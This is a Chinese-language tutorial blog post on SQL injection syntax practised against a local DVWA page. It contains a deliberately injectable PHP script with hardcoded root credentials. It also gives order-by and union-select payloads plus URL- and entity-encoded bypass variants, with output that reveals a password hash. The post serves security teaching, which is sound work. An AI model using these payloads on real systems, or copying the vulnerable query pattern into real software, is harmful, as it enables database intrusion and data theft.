前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入语法

SQL注入语法

作者头像
天钧
发布2019-07-25 10:27:16
8480
发布2019-07-25 10:27:16
举报
文章被收录于专栏:渗透云笔记

SQL注入语法

本文案例中

我用的是DVWA不会安装的,查看以前的文章吧,或者百度

基本数据库语句介绍;

and ,or语句;判断是否与数据库交互,前文讲过

order by语句;判断数据库字段数一个多少

一些常用的函数;

version()---MySQL版本;

user()----用户名

database----数据库名

@@datadir----数据库路径

@@version_comple_os-----操作系统版本

User()-----查看用户

database()---查看数据库名称

version()---产看数据库版本

system_user()------系统用户名

session_user()---连接数据库的用户名

测试源码

代码语言:javascript
复制
 <?php
 
 $user_id = $_GET['user_id'];
 $dbuser = "root";
 $dbpwd="root";
 $db ="dvwa";
 $conn = mysql_connect("localhost",$dbuser,$dbpwd) or dir("error");
 mysql_select_db($db,$conn);
 $query ="select * from users where user_id=$user_id";
 $result=mysql_query($query)or die(mysql_error());
 print_r(mysql_fetch_array($result));
 
 
 ?>

因为我是在第三方编辑文章,不能沾图片进公众号里,所以只能拿文字显示了

orday by判断列数

游览器

代码语言:javascript
复制
 http://127.0.0.1/test05.php?user_id=1 order by 20

返回,表示咱们猜测的列数大于实际列数

代码语言:javascript
复制
 Unknown column '20' in 'order clause'

order by10看一下是否大于10

游览器

代码语言:javascript
复制
 http://127.0.0.1/test05.php?user_id=1 order by 10

返回,还是大,直接小一点看下

代码语言:javascript
复制
 Unknown column '10' in 'order clause'

游览器

代码语言:javascript
复制
 http://127.0.0.1/test05.php?user_id=1 order by 6

返回

代码语言:javascript
复制
 Array ( [0] => 1 [user_id] => 1 [1] => admin [first_name] => admin [2] => admin [last_name] => admin [3] => admin [user] => admin [4] => 5f4dcc3b5aa765d61d8327deb882cf99 [password] => 5f4dcc3b5aa765d61d8327deb882cf99 [5] => /hackable/users/admin.jpg [avatar] => /hackable/users/admin.jpg [6] => 2019-07-09 00:21:18 [last_login] => 2019-07-09 00:21:18 [7] => 0 [failed_login] => 0 )

返回正常,说明其表内字段数为6也就是6列

同学们可以自行尝试下

当得知几列时,我们常常配合union联合查询字段数

代码语言:javascript
复制
 http://127.0.0.1/test05.php?user_id=1 union select 1,2,3,4,5,6,7,8

字段数为8,我为了好辨识用的数字,我建议用null,来代表数字进行测试,因为数字的兼容性不高,容易出现异常

代码语言:javascript
复制
 http://127.0.0.1/test05.php?user_id=1 union select null,null,null,null,null,null,null,null

这两方法的意义相同,都返回

代码语言:javascript
复制
 Array ( [0] => 1 [user_id] => 1 [1] => admin [first_name] => admin [2] => admin [last_name] => admin [3] => admin [user] => admin [4] => 5f4dcc3b5aa765d61d8327deb882cf99 [password] => 5f4dcc3b5aa765d61d8327deb882cf99 [5] => /hackable/users/admin.jpg [avatar] => /hackable/users/admin.jpg [6] => 2019-07-09 00:21:18 [last_login] => 2019-07-09 00:21:18 [7] => 0 [failed_login] => 0 )

从代码层次来讲,我们在做白盒审计时,去查找数据库中存在的一些关键字如select from,mysql_connect, mysql_query,mysql_fetch_row也可以去查看我们所提到的,update,insert,delect

mysql_connect() 函数打开非持久的 MySQL 连接。

语法为

代码语言:javascript
复制
 mysql_connect(server,user,pwd,newlink,clientflag)

在上面的实例也有用到哦

代码语言:javascript
复制
 $conn = mysql_connect("localhost",$dbuser,$dbpwd) or dir("error");

再其语法中几个点需要记住

server指我们的服务器地址

user为可选项,指用户名

代码语言:javascript
复制
 $dbuser = "root";

pwd可选指密码

代码语言:javascript
复制
 $dbpwd="root";

mysql_query() 函数执行一条 MySQL 查询。

代码语言:javascript
复制
 $query ="select * from users where user_id=$user_id";
 $result=mysql_query($query)or die(mysql_error());

mysql_fetch_row() 函数从结果集中取得一行作为数字数组。

语法

代码语言:javascript
复制
 mysql_fetch_row(data)

其中的data是必需。要使用的数据指针。该数据指针是从 mysql_query() 返回的结果。

常见的两种编码绕过姿势如

  • URL编码
  • Unicode编码

从上面拿个例子,懒得写了

代码语言:javascript
复制
 http://127.0.0.1/test05.php?user_id=1 union select 1,2,3,4,5,6,7,8

URL编码为

代码语言:javascript
复制
 http://127.0.0.1/test05.php?user_id=1+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8

Unicode编码为

代码语言:javascript
复制
 http://127.0.0.1/test05.php?user_id=1 &#117;&#110;&#105;&#111;&#110;&#32;&#115;&#101;&#108;&#101;&#99;&#116;&#32;&#49;&#44;&#50;&#44;&#51;&#44;&#52;&#44;&#53;&#44;&#54;&#44;&#55;&#44;&#56;

其两者都会显示

代码语言:javascript
复制
 Array ( [0] => 1 [user_id] => 1 [1] => admin [first_name] => admin [2] => admin [last_name] => admin [3] => admin [user] => admin [4] => 5f4dcc3b5aa765d61d8327deb882cf99 [password] => 5f4dcc3b5aa765d61d8327deb882cf99 [5] => /hackable/users/admin.jpg [avatar] => /hackable/users/admin.jpg [6] => 2019-07-09 00:21:18 [last_login] => 2019-07-09 00:21:18 [7] => 0 [failed_login] => 0 )

就是说他把你的一些字符给转义了,你编码一下,没准可以绕过,照常注入。

说到编码,这就引入了下一章的概念《编码注入》咱明天见

本章知识点回顾

基本数据库语句介绍与常见函数

  • orday by判断列数
  • union联合查询
  • 白盒审计时要注意得SQL函数
  • 两种绕过姿势

问题排查;

我是在没安装dvwa就开始操作,所以会有一些小笑话,文中我用的就是dvwa的数据库,偷懒了,所以在复现跟着这篇文章的时候可以先安装下dvwa在前期文中里出现过。

顺便可以保存文中的测试代码为test05来进行测试哦,源码来自米安网的课程。又偷懒了。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-07-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档